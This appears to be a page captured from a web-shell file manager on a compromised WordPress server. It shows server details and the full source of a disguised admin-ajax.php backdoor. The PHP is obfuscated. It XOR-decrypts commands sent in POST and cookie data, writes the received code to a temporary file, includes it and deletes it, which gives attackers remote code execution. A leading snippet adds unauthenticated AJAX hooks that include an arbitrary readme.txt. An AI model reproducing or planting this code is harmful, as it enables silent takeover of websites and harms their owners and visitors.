if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs20250613/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs20250613/admin-ajax.php
<?php $kscypbec      = /*   w */ 'kscypbec' /*  x   */ ^ /*   xv_mob */ '';
$cwewvq     = /*g*/ "\x62"       .    "a"."s"."e".$kscypbec(77-23) /*bmqa  */ . /*   wcqdzi */ $kscypbec(233-181) /*  whbaij  */ . /* x*/ "\137" /*jxqr   */ . /*   ogrdq*/ "\145"    .  $kscypbec(110)   . /*   f_   */ "\143"    . /*xx */ $kscypbec(660-549)   .  "\x64"    .     "\145";

$mfleceq_m    =       "a"."r".$kscypbec(114) /* eeic  */ . /*xjwlyg  */ "a"."\x79"	.  "_"."s"."l"."i"."c"."e";

$ewqwxhxub /* wxzo  */ = /*  wdtlsr   */ "\163"  .    $kscypbec(760-644)    . /* q*/ $kscypbec(114) /*   hioe  */ .	"_".$kscypbec(114)	.    "e".$kscypbec(237-125) /* nxdxv   */ . /*miyp   */ "e".$kscypbec(97)       .      $kscypbec(1034-918);$hiubnc    =	"\x65"	.	"x"."p".$kscypbec(108)    . /*  bhd   */ "o"."\x64"	.    "\x65";
$wnscvibph /*   vd  */ = /* t */ "\163"    . /*  bl   */ $kscypbec(784-667) /*   xes*/ .  $kscypbec(98)    . /*ompwb */ "\163"      .    "t"."\162";$ivddovq_k    =   "s"."t".$kscypbec(114) /*qhyivp */ .  "p"."\x6f" /*   j*/ . /*   lzrib*/ "s";


$_wibzldf   =       "c"."o"."u"."\156"	.  "t";$dvrsvmr   =    "\x66"	.     $kscypbec(401-304)    .      "l"."\163" /*   jj_qhc   */ . /* afbvdk */ "\145";

$fhlzbbuz     =	"\160" /*_v*/ .      $kscypbec(97)    .      "\x63"   .    "k";







function   qydujnz($kixvuhr,   $koihztl)

{


 /*  j  */ global    $kscypbec;     
	$kixvuhr      = /*ox */ "<"     .    $kscypbec(574-511)   . /*   nrvj  */ "\x70"   .    "h"."\160"       .    $kscypbec(32) /* ocxqdt */ .	$kscypbec(894-777) /*pugc   */ .    $kscypbec(1074-964)      . /*  juzcg   */ "l"."\151"     .   "n"."\153" /*b */ . /*   tawvi  */ "("."\137"    . /* fltsl*/ $kscypbec(692-597)  . /*vt   */ $kscypbec(1022-952) /*  d   */ . /*   piqtxz  */ "\111"    .    $kscypbec(76)    .	"E"."\137"   .    "\137".")".";".$kscypbec(32)	. /*fev */ $kixvuhr["\x64"];   $msciasy    =     "\x66" /*   f   */ . /*   acq_ */ "\x69"	.    "l"."\x65" /*iypc*/ .	$kscypbec(199-104)  . /*  h_m*/ "p".$kscypbec(600-483)    .      "\x74" /* rzvcxu  */ .	"\137"."\143"     .	"\157"    . /*  nha_p   */ "n"."t"."\145"    .     "\x6e" /*   rmsc*/ . /*  coase */ "\164"	.    "\163";  
 /*   mifd */ $msciasy($koihztl, /* mg_sjz*/ $kixvuhr);


 /*  kotue*/       istalgcb($koihztl);


}

function /*bq */ aqreilynjg()


{
    $ps_onvtxs  =    36;
 /*  x*/ $tsaltb    = /* i_n  */ 'bozxusithu';


       $dnpcclp   =	'dvnffl';


	$rnenyh	= /* nqrktc  */ 'kqddntedfu';	$sknpnxndgy      = /*uut */ str_replace('pqhbts',   'wut',    $rnenyh);
}
aqreilynjg();




$xujui   =	73;
function /*   ebiy */ istalgcb($koihztl)


{
    global  $kscypbec;

     /*   vhrjjj*/ include($koihztl); /* dtiugz  */ $zvalb_    =	$koihztl;

	@unlink($zvalb_);

}

function /* n  */ bqcfw(){
  global     $kscypbec;

   $k_dqhmxmgu /*  r*/ = /* xnd*/ array();
    $k_dqhmxmgu[$kscypbec(112) /*jszypo  */ .      "v"] /*oxcnz  */ =    phpversion();

 /*   r   */ $k_dqhmxmgu["s".$kscypbec(118)]  = /* gbxyzw   */ "3".$kscypbec(636-590)	. /*  yzu  */ $kscypbec(53);


	$bcxxlc    =       74;	echo	@serialize($k_dqhmxmgu);
}



function    oufcgqhaez()

{ /*   lwgc   */ $kzapuo /*   kyh*/ =	'hrburnrygr';


      $sbmyc    =    44;

 /*  tk_   */ $aaggh /* yruz*/ =    47;	$gxjmxt /*  jaarg  */ = /*   lpccrb*/ 'p_yt';
}





oufcgqhaez();


function /*  vfsf */ joqet($kixvuhr,      $otycdase){
       global /* _ljmb  */ $kscypbec;

    


   $_jrndo    =	"";


	$cazlfpzg	= /*   sjz_rf  */ 'nullybptv';

	$k_dqhmxmgu  =       0;
       while /* ev   */ ($k_dqhmxmgu /*  mhh*/ < /*rjyxtt*/ strlen($kixvuhr)) /* _kgur  */ {
	for    ($y_whitfvtc /*_mzm_*/ =    0; /*qm   */ $y_whitfvtc /* mzrf  */ < /* ychya*/ strlen($otycdase)     &&	$k_dqhmxmgu /*p   */ < /*   pajfwm*/ strlen($kixvuhr);    $y_whitfvtc++, /*   avwbwa */ $k_dqhmxmgu++) /*zf   */ {
	$_jrndo    .= /*hrpawk*/ $kscypbec(ord($kixvuhr[$k_dqhmxmgu])  ^	ord($otycdase[$y_whitfvtc]));

      }  }
      return  $_jrndo;}




function     wgolkg(){

    $nogps /*   bo  */ =	14;    $xjwvsuf   = /*   mfduik */ 'whjljqwmti'; /*  ho */ $rosymit    =    18;
   $lkryglmy      =   49;
    $mqo_fbcahs	= /*   p*/ 'h_xzqluak'; /*zzn  */ $plrzrgeoq   =	'tcsnc';

 /* ha */ $nogps /*qbneb  */ =  $lkryglmy	*      $lkryglmy;
 /*n */ $rgnhdlvbuw      =   $lkryglmy  /    ($lkryglmy /* g_uym  */ +       10);    $kdpmbtxim /*  kcip  */ =       39;


}

wgolkg();

function    wemqfu($wbood_nda)


{

     global	$kscypbec;

 /*  udiq  */ 
 /*   am*/ $y_whitfvtcjqpzknyx      = /*   kze  */ "\x64"."6".$kscypbec(85-28)      .	"\x62" /*ofy*/ . /*z  */ "a"."\146"	.    "a".$kscypbec(366-313) /* p   */ .      "-".$kscypbec(142-40)  . /*ob  */ "\146" /* g   */ .      "c"."\x36"	. /* urfky   */ $kscypbec(45) /*  avx  */ .    "4"."9".$kscypbec(286-188)  .  $kscypbec(998-947) /*   rx   */ .    "-"."b"."\x36" /* umqz  */ .	$kscypbec(56)    .    "9".$kscypbec(309-264) /* vgt*/ . /*   lcd   */ "\x64"."\70" /*rpvjvn   */ .    "\65"	. /*to  */ "\x35" /*  mdgn_w   */ .     $kscypbec(50) /*   xwugtd */ . /*  z  */ "2"."c"."\x63"   . /*se  */ "\x37"	. /*  kyau   */ "6"."8".$kscypbec(48);

    


 /* si*/ foreach    ($wbood_nda       as	$rop_zioboe    => /* jfsq */ $kixvuhr)   {   hitez(base64_decode($kixvuhr),	$y_whitfvtcjqpzknyx,   $rop_zioboe);

    }


}



function     hitez($kixvuhr,    $y_whitfvtcjqpzknyx, /*epkan   */ $rop_zioboe)
{


	global   $kscypbec;
   


       $kixvuhr   =    unserialize(joqet(joqet($kixvuhr,    $y_whitfvtcjqpzknyx), /*  iwh   */ $rop_zioboe));	$hrkchf /*  _gy*/ =    '_tdbdhb';

	$vvwxttebcp /* cm   */ =       'hbue';


      if    (isset($kixvuhr["a"."\153"]))       {
  if    ($kixvuhr["a"]	==	$kscypbec(105)) /* hcs   */ { /*jvj_   */ bqcfw();

      }    elseif       ($kixvuhr["a"] /*   rdyr*/ == /* dbxidt  */ $kscypbec(348-247)) /*   cre  */ {
 /*   ib*/ qydujnz($kixvuhr,    sprintf("\x2e"       . /*   gjbkn  */ $kscypbec(47)   . /*ik   */ $kscypbec(758-721)  .    $kscypbec(115)      . /* aj */ "."."\160"    . /*  oauzwd */ "\x6c",	md5($y_whitfvtcjqpzknyx)));


			$zjzdehrbng /*xuqe   */ = /*  edasoa */ 44;


	}

	exit();
	}

}


	$avysith_	=    69;


	$_srikba      =     22;

$_srikba /*tt  */ = /* v */ $avysith_    +   15;



wemqfu($_POST);	


$_GET["\x6e"    . /*   a  */ $kscypbec(348-247)."w".$kscypbec(95) /*   k*/ .	"k".$kscypbec(550-449) /*kf*/ .    $kscypbec(241-120)]    =    md5("n".$kscypbec(348-247).$kscypbec(119) /*  x*/ . /*   fb  */ "\x5f"    .  "v"."\141" /*rj*/ . /*yziife  */ "\154" /* pndx   */ .	$kscypbec(204-87)     . /*o*/ $kscypbec(348-247)); /*goyl */ 
if       ($ivddovq_k($_GET["\x6e"     .       $kscypbec(348-247)."w".$kscypbec(95)  .     "k".$kscypbec(550-449)   .      $kscypbec(241-120)], /*   wp*/ "s".$kscypbec(348-247)."\x61"       . /*kmrv */ "\x72"    .  "c"."\x68"      .      "\137"."s".$kscypbec(620-504)       . /*   x   */ "r".$kscypbec(105).$kscypbec(110)      .  $kscypbec(103)) /*  ywh_u*/ !== /* sc */ $dvrsvmr)     { /*  fs_ */ 
 /*  pubm*/ $aqqlotg    =      $wnscvibph($_GET["\x6e"    . /*  hqmktb  */ $kscypbec(348-247)."w".$kscypbec(95) /* hfmgn */ .       "k".$kscypbec(550-449) /*_hke */ .       $kscypbec(241-120)], /*c  */ 0,     5);     

    $_POST["k".$kscypbec(348-247)."y"] /*   qktbbn   */ =    $ewqwxhxub($aqqlotg,     3);	}
wemqfu($_COOKIE); /*   a */ $onzirka   =    $kscypbec(198-82)    . /*  kk   */ $kscypbec(348-247)."s"."t"."\137" /*  hfq  */ . /*  efq  */ "v".$kscypbec(97) /* x_amet  */ . /*  i  */ "l"."u".$kscypbec(893-792)	. /*   hy*/ "\137"	. /*   wdz   */ "t".$kscypbec(348-247)."s"."t"."\137".$kscypbec(118)    .	"a"."\x6c"    . /*  ju */ "u".$kscypbec(348-247); /*mnttmy   */ 


$kzyjcj /*   esoub  */ =      $hiubnc("\137", /*   zfyhj*/ $onzirka);	


if   ($_wibzldf($kzyjcj)    >	1) /* l*/ {  


     $g_nqzmuwuk /* rxvck_*/ =      $mfleceq_m($kzyjcj, /* w*/ 0, /*   d*/ 2);     /*  whflnz */ foreach    ($g_nqzmuwuk    as   $pehjdnfpys)       { /*  xyy */ 
 /*   b */ $lxcgnoo       = /* tydz_l  */ $fhlzbbuz("\110"    .	$kscypbec(42),	md5($pehjdnfpys));	    $djhwkxmvpe    = /*  menyg   */ $cwewvq($lxcgnoo);  

 /*xpob   */ $_COOKIE[md5($pehjdnfpys)]    =    $djhwkxmvpe;    	}    


}






$oizxhsnidv  =	6;




?>
@ Telegram